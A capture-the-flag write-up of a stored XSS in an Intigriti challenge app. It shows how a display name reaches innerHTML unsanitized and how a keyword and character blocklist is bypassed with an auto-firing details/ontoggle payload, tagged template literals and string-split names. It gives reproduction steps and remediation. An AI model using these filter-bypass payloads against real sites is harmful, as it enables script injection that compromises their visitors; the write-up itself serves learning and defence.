user_name — SCA Shield Filter BypassThe Pixel Pioneers challenge application stores a user's display name without sanitization and renders it via innerHTML in the public testimonials feed. The server-side "SCA Shield" filter — which blocks specific characters and keywords — is fully bypassed using three orthogonal techniques, producing a zero-click stored XSS that fires for every visitor to the testimonials page.
nameDiv.innerHTML = t.user_name (no sanitization)
In /js/app.js, the loadTestimonials() function builds each testimonial card and writes the display name directly into innerHTML — no sanitization, no encoding:
async function loadTestimonials() { let res = await fetch('/api/testimonials'); let data = await res.json(); const container = document.getElementById('testimonialsList'); data.forEach(t => { let nameDiv = document.createElement('div'); nameDiv.className = 'user-name'; nameDiv.innerHTML = t.user_name; // ← RAW innerHTML — vulnerable sink let textDiv = document.createElement('div'); textDiv.innerHTML = DOMPurify.sanitize(t.content); // ← content IS sanitized card.appendChild(nameDiv); card.appendChild(textDiv); }); }
t.content (the testimonial body) goes through DOMPurify.sanitize(). t.user_name (the display name) does not. Same response object, inconsistent treatment.
| Field | Sanitization | Result |
|---|---|---|
t.content | DOMPurify.sanitize() | Safe |
t.user_name | None — raw innerHTML | Vulnerable |
The profile update endpoint applies a two-layer blocklist before storing the display name. It does not encode or strip HTML — it only rejects inputs containing specific characters or substrings. Any HTML that avoids those exact patterns is stored verbatim.
| Layer | What is blocked |
|---|---|
| Character filter | " ' ( ) . , ; |
| Keyword filter | alert eval onerror onload script src window |
Three independent problems must be solved. Each has exactly one root cause and one bypass:
onerror / onload
Both onerror and onload are in the keyword blocklist. The solution is <details open ontoggle=...>.
When a <details open> element is inserted into the DOM it transitions from "disconnected" to "connected+open" and the browser fires the toggle event automatically — no user interaction required. Neither details nor ontoggle appear in the blocklist.
<!-- blocked --> <img onerror=...> <body onload=...> <!-- bypasses the filter, auto-fires on DOM insertion --> <details open ontoggle=...>x</details>
window with self
window is in the keyword blocklist. self is a standard browser global that resolves to the same object and is not blocked.
// blocked window.alert(1) // identical in a browser context, not blocked self.alert(1)
alert + call without parentheses
The literal string alert is in the keyword blocklist. ( and ) are in the character blocklist. Both must be avoided simultaneously.
Reconstruct the function name using string concatenation inside bracket notation — the keyword is never written as a literal:
self[`ale`+`rt`] // evaluates to self["alert"] → the alert function // backtick not blocked, no parentheses, no dots
Call without parentheses using a tagged template literal — a syntactically valid JavaScript call that requires no ():
self[`ale`+`rt`]`1` // equivalent to alert(["1"]) — valid JS, zero parens
Tagged template literals (fn`...`) are a standard ES6 feature. The backtick character is not in the character blocklist, and the word alert never appears as a literal string in the payload.
<details open ontoggle=self[`ale`+`rt`]`1`>x</details>
| Filter Check | Result | Reason |
|---|---|---|
Character filter: " ' ( ) . , ; | ✓ Pass | None of these characters appear in the payload |
Keyword: alert | ✓ Pass | Split as `ale`+`rt` — literal never present |
Keyword: window | ✓ Pass | Replaced with self |
Keyword: onerror / onload | ✓ Pass | Using ontoggle instead |
Keyword: eval / script / src | ✓ Pass | Not used at all |
| Auto-fire on page load | ✓ Yes | <details open> fires toggle on DOM insertion |
The stored payload as it appears in GET /api/testimonials:
{
"uuid": "bd19f453-5fdd-446e-a6eb-001329616336",
"content": "test",
"username": "xsstest21602",
"user_name": "<details open ontoggle=self[`ale`+`rt`]`1`>x</details>"
}
Navigate to https://challenge-0526.intigriti.io/challenge#register, enter any username and password, click Start Game.
Navigate to https://challenge-0526.intigriti.io/challenge#profile, clear the Display Name field and enter exactly:
<details open ontoggle=self[`ale`+`rt`]`1`>x</details>
Click Update Name — server responds {"success":true}.
Navigate to https://challenge-0526.intigriti.io/challenge#testimonials, type any text (e.g. test) and click Submit. This creates a public testimonial entry with the poisoned display name attached.
Any user — logged in or not — who navigates to https://challenge-0526.intigriti.io/challenge#testimonials will have the XSS fire automatically. The alert dialog appears immediately with no clicks required.
challenge-0526.intigriti.ioPOST /api/profile with <details open ontoggle=...>user_nameuser_name is attached to the public record#testimonials — browser fetches GET /api/testimonialsloadTestimonials() runs: nameDiv.innerHTML = t.user_name injects the HTML<details open> appended to DOM → browser fires toggle event immediatelyself[`ale`+`rt`]`1` evaluates → alert(["1"]) executes — zero clicks
The root failure is architectural: the client applies DOMPurify to the testimonial body but not the name. The server-side blocklist provides the illusion of protection while being trivially bypassed by any HTML5 feature not on the blocklist. Both layers must be fixed independently.
The display name is plain text — it never needs to be treated as HTML. Use textContent instead of innerHTML:
// BEFORE — vulnerable nameDiv.innerHTML = t.user_name; // AFTER — safe, treats value as plain text regardless of content nameDiv.textContent = t.user_name;
This single character change eliminates the HTML injection vector entirely, making the server-side filter irrelevant to this specific sink.
Replace the blocklist with an allowlist. Display names have a well-defined safe character set:
// Reject anything outside alphanumeric + basic punctuation if (!/^[\w\s\-']{1,64}$/.test(name)) { return res.status(400).json({ error: 'Invalid display name' }); }
If HTML is intentionally required, run it through DOMPurify server-side (via JSDOM) before storage — not just on output.
| Root Cause | Fix |
|---|---|
Missing output encoding — t.user_name written to innerHTML |
Use textContent for all plain-text fields |
Inconsistent sanitization — t.content purified, t.user_name is not |
Apply DOMPurify.sanitize() consistently to every field written via innerHTML |
| Blocklist approach is fundamentally fragile | Replace with allowlist input validation; blocklists cannot enumerate all bypass paths |